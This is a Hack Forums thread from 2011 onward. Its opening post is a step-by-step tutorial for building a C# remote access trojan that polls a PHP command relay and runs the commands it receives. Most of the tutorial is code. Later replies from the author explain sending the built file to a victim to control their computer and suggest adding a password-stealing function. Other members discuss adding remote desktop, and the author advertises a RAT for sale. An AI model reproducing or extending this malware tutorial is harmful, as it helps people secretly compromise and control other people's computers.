

Forum:[Hack Forums](#)

Thread: [\[C# Tutorial\]\[IMG's Reuploaded\] Make a C# RAT, NO port-forwarding!](#)

CaptainBri - February 6, 2011, 6:47 am

Make a C# RAT using the DarkCoder PHP method! No port-forwarding!

Hello all, this is my biggest tutorial so far. I would first like to thank DarkCoder for the great idea!

This tutorial is made for absolute-beginners.

If you aren't one of them, skip to the end, download the project and get to work!

First download WampServer, this is to develop your rat. You can download WampServer here:
Code <http://www.wampserver.com/en/download.php> Then click your version of windows:

Install it, click a couple of times yes, and you're good to go.

Now create a notepad file, and put this code inside of it:

Code <?php

```
$action = $_GET['action'];
```

```
$data = $_GET['data'];
```

```
if ($action == "delete"){
```

```
    unlink("log.txt");
```

```
    $new = fopen("log.txt", 'a');
```

```
    fclose($new);
```

```
}
```

```
if ($action == "write"){
```

```
    $open = fopen("log.txt", 'a');
```

```
    fwrite($open, $data);
```

```
    fclose($open);
```

```
}
```

```
if ($action == "read"){
```

```
    echo file_get_contents("log.txt");
```

```
}
```

```
?>
```

Save it as "index.php" and make sure to put the second thingy to "All Files"

Now copy this index.php to: "C:\wamp\www\captainbri"

If the map "captainbri" is not there yet, make one and put the index.php into it.

[img]<http://img209.imageshack.us/img209/5159/62274329.gif>[img]

Now open up Visual Studio, create a new C# Project, and name it "c_Server"

Now double click the form, you will come into the coding window.

[img]http://img87.imageshack.us/img87/7734/82760167.gif[/img]

Now go to the top of the code, and below "using System.Windows.Forms;" put this code:

Code using System.Net;

using System.Diagnostics;

Now we will write the code to check for any incoming commands.

Make a void called "Check", that will check the command and act upon it.

Now above the "private void Check()" part, we make a new WebClient, to download the command.

Like this:

Code WebClient client = new WebClient();

Your code should look like this:

Now we code the "Check" function. We are going to download the command-log and check for a command.

Code string command = client.DownloadString("http://127.0.0.1/captainbri/log.txt"); Now the string "command" contains the string of the txt file "log.txt".

Now we split the string into smaller strings, using the ".Split" method.

Code string[] a = command.Split('*'); This probably won't make any sense, I will explain this later.

Now we make a simple "if" statement. This won't make any sense either, and I will also explain this later.

Code if (a[0] == "website")

```
{  
    Process.Start(a[1]);  
}
```

And we delete the log after it's successfully been read.

Code client.DownloadString("http://127.0.0.1/captainbri/index.php?action=delete");

Your code should look like:

On the form_load we make a timer, that will check the command every 5 seconds, like this:

Now we insert an event, so the timer will actually check every 5 seconds.

[img]http://img248.imageshack.us/img248/5607/70130498.gif[/img]

Tip: Press tab 2 times when Visual Studio sais so.

Now remove that shitty "throw new ... code and replace it like this:

And add the code "tim.Start();" to the form_load!

Your code should look like this:

Now coding the server is done.

Make a new project called "c_Client", like this:

Now add 1 label, 1 button and 1 textbox to the form.

[img]http://img155.imageshack.us/img155/4825/40045997.gif[/img]

Name and edit the controls like this:
Label --> Text = "Enter the website."
Textbox --> (Name) = "txtWebsite"
Button --> (Name) = "btnStartWebsite"

Like this:

Your form should look like this:

Now double click the button. Add to the top of your code just beneath "using System.Windows.Forms;"
this code: "using System.Net;"

Like this:

[img]http://img140.imageshack.us/img140/7754/94622831.gif[/img]

Now create a new WebClient above the button's code:

[img]http://img7.imageshack.us/img7/9964/51338787.gif[/img]

Code WebClient client = new WebClient();

Now write this code, it will send a command to the php, which will fill the log, and the server will read the log.

So, write this:

Code client.DownloadString("http://127.0.0.1/captainbri/index.php?action=write&data=website*" + txtWebsite.Text);It will send the command "website" and the url of the website you want the server to visit.

Before we run the project, I will show you what happens.

First, you send a command to the PHP file to write "website*" + the website you've entered.

The PHP file writes this to the TXT.

The server reads this TXT and splits it into an array of strings. Let me show you that in a picture.

The command contains:

And it splits it.

The command is "a[0]" and the website is "a[1]"!

So, if the command is "website", start the website which is "a[1]"!

Let's run the project!

The result:

[img]http://img155.imageshack.us/img155/2909/98944277.gif[/img]

Comments are more than welcome, and appreciated at the most!

Thanks for reading my tutorial, I hope you learned something new!

To download this project, visit this link:

Code <http://www.multiupload.com/DV8YKOVAUM>To get the password, a simple PM is enough. I do request that the password does not get posted in this thread.

qwerty156 - February 6, 2011, 7:28 am

So this makes a rat like cybergate? Sorry for being such a noob

DeathStar™ - February 6, 2011, 8:04 am

(Feb 6, 2011 08:28 AM)qwerty156 Wrote: [\[CITE\]](#) So this makes a rat like cybergate? Sorry for being such a noob

No, Cybergate is not a PHP rat, and Cybergate is coded in Delphi.
But basically yes a little bit like cybergate, with less functions thought.

CaptainBri - February 6, 2011, 8:17 am

(Feb 6, 2011 08:28 AM)qwerty156 Wrote: [\[CITE\]](#) So this makes a rat like cybergate? Sorry for being such a noob

This is the base of a simple PHP Rat. Nothing like CyberGate at this moment.

(Feb 6, 2011 09:04 AM)DeathStar™ Wrote: [\[CITE\]](#) No, Cybergate is not a PHP rat, and Cybergate is coded in Delphi.

But basically yes a little bit like cybergate, with less functions thought.
True. ?

Fame - February 6, 2011, 8:50 am

How'd you change your colors and shit?

CaptainBri - February 6, 2011, 8:52 am

(Feb 6, 2011 09:50 AM)Fame Wrote: [\[CITE\]](#) How'd you change your colors and shit?
You mean the font & color I've used?

Like this?

The code is:

Code [color=#98FB98][font=Verdana]Like this?[/font][color]

[David]-- X - February 6, 2011, 9:08 am

Nice tutorial dude! :)

Offtopic: How'd you do those animated images? :D

Fame - February 6, 2011, 9:10 am

I mean this: [img]http://img7.imageshack.us/img7/9964/51338787.gif[/img]

Those are some badass colors. I want them D:

CaptainBri - February 6, 2011, 9:15 am

(Feb 6, 2011 10:08 AM)[David]-- X Wrote: [\[CITE\]](#) Nice tutorial dude! :)

Offtopic: How'd you do those animated images? :D

Thank you!

I've used Camtasia Studio 7, exported as a GIF and uploaded to ImageShack!

And Fame, I am PMing you, because I wrote an tutorial earlier on this subject, not gonna explain it all again lol. Ima pm you the tutorial.

Fame - February 6, 2011, 9:24 am

Can you give me the name of your scheme? I was going to reply asking this but you have PM's disabled.

Thanks,
Fame

CaptainBri - February 6, 2011, 10:09 am

It is the Ragnarok Blue scheme.

qwerty156 - February 7, 2011, 1:49 am

So the "Form1" is the infected file and you can open a website in your victims computer.

CaptainBri - February 7, 2011, 2:09 am

(Feb 7, 2011 02:49 AM)qwerty156 Wrote: [\[CITE\]](#) So the "Form1" is the infected file and you can open a website in your victims computer.

First upload the PHP script & log.txt to some PHP host, link the form1 server to your PHP host link, and then send the file to your victim, and now you are able to open up a website.

CaptainBri - February 7, 2011, 5:15 am

And I do have a question people, is this tutorial better/worse than this tutorial:

<https://hackforums.net/showthread.php?tid=229243>

xexok - February 13, 2011, 3:15 am

Is there any way to see if your infected by this or some variant of it? Figure you would know if anyone did CaptainBri.

TipZ - February 13, 2011, 6:01 am

(Feb 7, 2011 06:15 AM)CaptainBri Wrote: [\[CITE\]](#) And I do have a question people, is this tutorial better/worse than this tutorial: <https://hackforums.net/showthread.php?tid=229243> well its vb.net not C# but yours are more newb freindly more pictures :P

btw thanks for the tut :)

CaptainBri - February 13, 2011, 9:29 am

(Feb 13, 2011 04:15 AM)xexok Wrote: [\[CITE\]](#) Is there any way to see if your infected by this or some variant of it? Figure you would know if anyone did CaptainBri.

You would notice it in the task-manager under processes. If you see any suspicious process running then end it, but first google it to make sure it's the right process.

People can hide the process from the taskmanager tho.

BlackHatCoder - February 26, 2011, 6:03 pm

Great tutorial, keep up the good work.

CaptainBri - February 26, 2011, 11:41 pm

(Feb 26, 2011 07:03 PM)BlackHatCoder Wrote: [\[CITE\]](#) Great tutorial, keep up the good work.

Thank you, good luck with making your own PHP rat ?!

6e756c6c - February 27, 2011, 1:18 am

Cool tutorial, probably would have been a bit nicer without the 200 watermarks though.

CaptainBri - March 1, 2011, 1:35 pm

(Feb 27, 2011 02:18 AM)Aeonhack Wrote: [\[CITE\]](#) Cool tutorial, probably would have been a bit nicer without the 200 watermarks though.

Thank you Aeonhack, the problem I had were the so called "leechers" which copy and paste the tutorial, and take credit for it. So I've used watermarks ?.

Did anybody recently made a PHP rat using the tutorial? If so, I'd appreciate it at the most if you leave a (tiny) comment!?

CaptainBri

CaptainBri - March 8, 2011, 2:53 am

I had alot more replies since yesterday, but now they're all gone.
Just b|_mping the topic back to the top so more people can learn!

Enjoy people and good luck with the codes :3

Exposer - March 8, 2011, 8:52 am

Hi what do this rat do?? can it steals password.. it looks like kind of for only browsing website purpose.. how to rat someone with it??

CaptainBri - March 8, 2011, 9:00 am

(Mar 8, 2011 09:52 AM)Exposer Wrote: [\[CITE\]](#) Hi what do this rat do?? can it steals password.. it looks like kind of for only browsing website purpose.. how to rat someone with it??

You will have to build your own stealer-function for it, all it does at the moment is opening a website when the client tells it to.

To rat some-one with it, send the server to the person. Once they open it, you can control their computer!

Divine Will - March 8, 2011, 9:14 am

Good tutorial, looks a lot like the source to darkrat.. I think I got that from leetcoders so I guess that would make sense lol.

CaptainBri - March 8, 2011, 12:23 pm

(Mar 8, 2011 10:14 AM)Divine Will Wrote: [\[CITE\]](#) Good tutorial, looks a lot like the source to darkrat.. I think I got that from leetcoders so I guess that would make sense lol.

Thanks, and that is correct.

Also for the curious people, I have my RAT for sale, check the link in my signature!

cashmoney1 - March 8, 2011, 5:10 pm

I feel like I'm the only person that isn't 12 that's replying. Seriously, you're asking him if it steals passwords.

Q_Q

This forum makes me sad.

Thanks for the tutorial.

t3h h4x - March 8, 2011, 7:03 pm

(Mar 8, 2011 06:10 PM)cashmoney1 Wrote: [\[CITE\]](#) I feel like I'm the only person that isn't 12 that's replying. Seriously, you're asking him if it steals passwords.

Q_Q

This forum makes me sad.

Thanks for the tutorial.

I agree. If you want functionality, write it yourself instead of leeching. also, makes me sad too.

OT

I made something like this back in December but I don't recommend using Timers ? use threads, you can add your own functionality to it and not have to use a windows form thus lowering ram and cpu usage. (not by much but w/e)

First of all, good job :). I think bases like this are a nice start for the noobs. I would rather write a web panel though since it makes everything more badass and it seems easier to me. That might be just me though. anyways, good job as stated before.

CaptainBri - March 9, 2011, 7:43 am

(Mar 8, 2011 08:03 PM)the real slim shadey Wrote: [\[CITE\]](#) I agree. If you want functionality, write it yourself instead of leeching. also, makes me sad too.

OT

I made something like this back in December but I don't recommend using Timers ? use threads, you can add your own functionality to it and not have to use a windows form thus lowering ram and cpu usage. (not by much but w/e)

First of all, good job :). I think bases like this are a nice start for the noobs. I would rather write a web panel though since it makes everything more badass and it seems easier to me. That might be just me though. anyways, good job as stated before.

Sounds bad-ass, a webpanel ?

Thanks for the feedback, and ideas!

(Mind taking a look @ the link in my signature? ????)

iiTzUncleSam - March 9, 2011, 2:52 pm

Thanks man, this really helped me out.

I'm modifying it now.

Tuxx95 - March 9, 2011, 4:44 pm

help me a bit but now mines sql based :P

also can you put up a good threading tut or point me to one?

CaptainBri - March 9, 2011, 10:53 pm

(Mar 9, 2011 03:52 PM)iiTzUncleSam Wrote: [\[CITE\]](#) Thanks man, this really helped me out.

I'm modifying it now.

Thanks ?.

(Mar 9, 2011 05:44 PM)tuxx95 Wrote: [\[CITE\]](#) help me a bit but now mines sql based :P

also can you put up a good threading tut or point me to one?

I wouldn't know how a sql based rat works, nor do I have alot of knowledge about threading, sorry ?!

Erco21 - March 14, 2011, 1:29 pm

Seems nice, im about to check it out.

Thanks!

CaptainBri - March 16, 2011, 5:09 am

(Mar 14, 2011 01:29 PM)Erco21 Wrote: [\[CITE\]](#) Seems nice, im about to check it out.
Thanks!
Enjoy! Good luck with the RAT! :)

CaptainBri - March 22, 2011, 6:27 am

I think the tutorial deserves a small bumbbie Bump , so here it is. BumP!

CaptainBri - April 2, 2011, 7:00 am

BumP ?

Did anybody recently used my tutorial to build a PHP RAT on his own? :)

Randy - April 2, 2011, 7:33 am

(Apr 2, 2011 07:00 AM)CaptainBri Wrote: [\[CITE\]](#) BumP ?

Did anybody recently used my tutorial to build a PHP RAT on his own? :)

I think I might try it out

Thanks for the tut?

s3v3red - April 2, 2011, 8:34 am

This will parse PHP files on your local computer? I thought you had to have apache installed for that.

CaptainBri - April 2, 2011, 8:37 am

(Apr 2, 2011 08:34 AM)s3v3red Wrote: [\[CITE\]](#) This will parse PHP files on your local computer? I thought you had to have apache installed for that.

WampServer comes with Apache, PHP & MySQL. It will send a command to the PHP file and it then writes it to a text-file in the directory of the PHP file. The server (victim) will then read the command and act upon it.

CaptainBri - April 12, 2011, 8:07 am

(Apr 2, 2011 07:33 AM)Randy Wrote: [\[CITE\]](#) I think I might try it out

Thanks for the tut?

Have fun, and good luck =)

?

DEN1AL - April 13, 2011, 10:49 am

Good tutorial! Very clear to understand, one question:

Can you explain this: \$open = fopen("log.txt", 'a'); I dont understand the , 'a'

CaptainBri - April 13, 2011, 11:26 am

(Apr 13, 2011 10:49 AM)Duttie Wrote: [\[CITE\]](#) Good tutorial! Very clear to understand, one question:

Can you explain this: \$open = fopen("log.txt", 'a'); I dont understand the , 'a'

'a' Stands for "Append", which basicly opens the file and appends (adds) the text you are saving.

Take a look here: <http://www.tizag.com/phpT/fileappend.php>

DEN1AL - April 13, 2011, 11:34 am

Ah thnx! Im not a php pro so I didnt remember :P

I will show my project soon when I've added somefunctions(its my first C# project :D)

nixrage12 - May 11, 2013, 12:36 pm

with this approach, is it possible to implement a remote desktop function?

Antagonism - May 11, 2013, 12:49 pm

(May 11, 2013 12:36 PM)nixrage12 Wrote: [\[CITE\]](#) with this approach, is it possible to implement a remote desktop function?

Yes and next time try to don't post on very old threads.

Koolg223 - May 12, 2013, 1:36 am

Beyond port forwarding, I don't see any reason to use this over sockets.

SkyRider2 - May 12, 2013, 1:50 am

Decent tutorial, good job! keep it up.

abs3 - October 6, 2016, 2:29 pm

Thanks a LooootDUDE

you Solved Very Big HELLY problem"PortForwarding"

Thanks Alot.

I will Add More Fucntions in This

:D

nr42 - April 18, 2017, 2:11 am

thank you very much!!

Perfect expression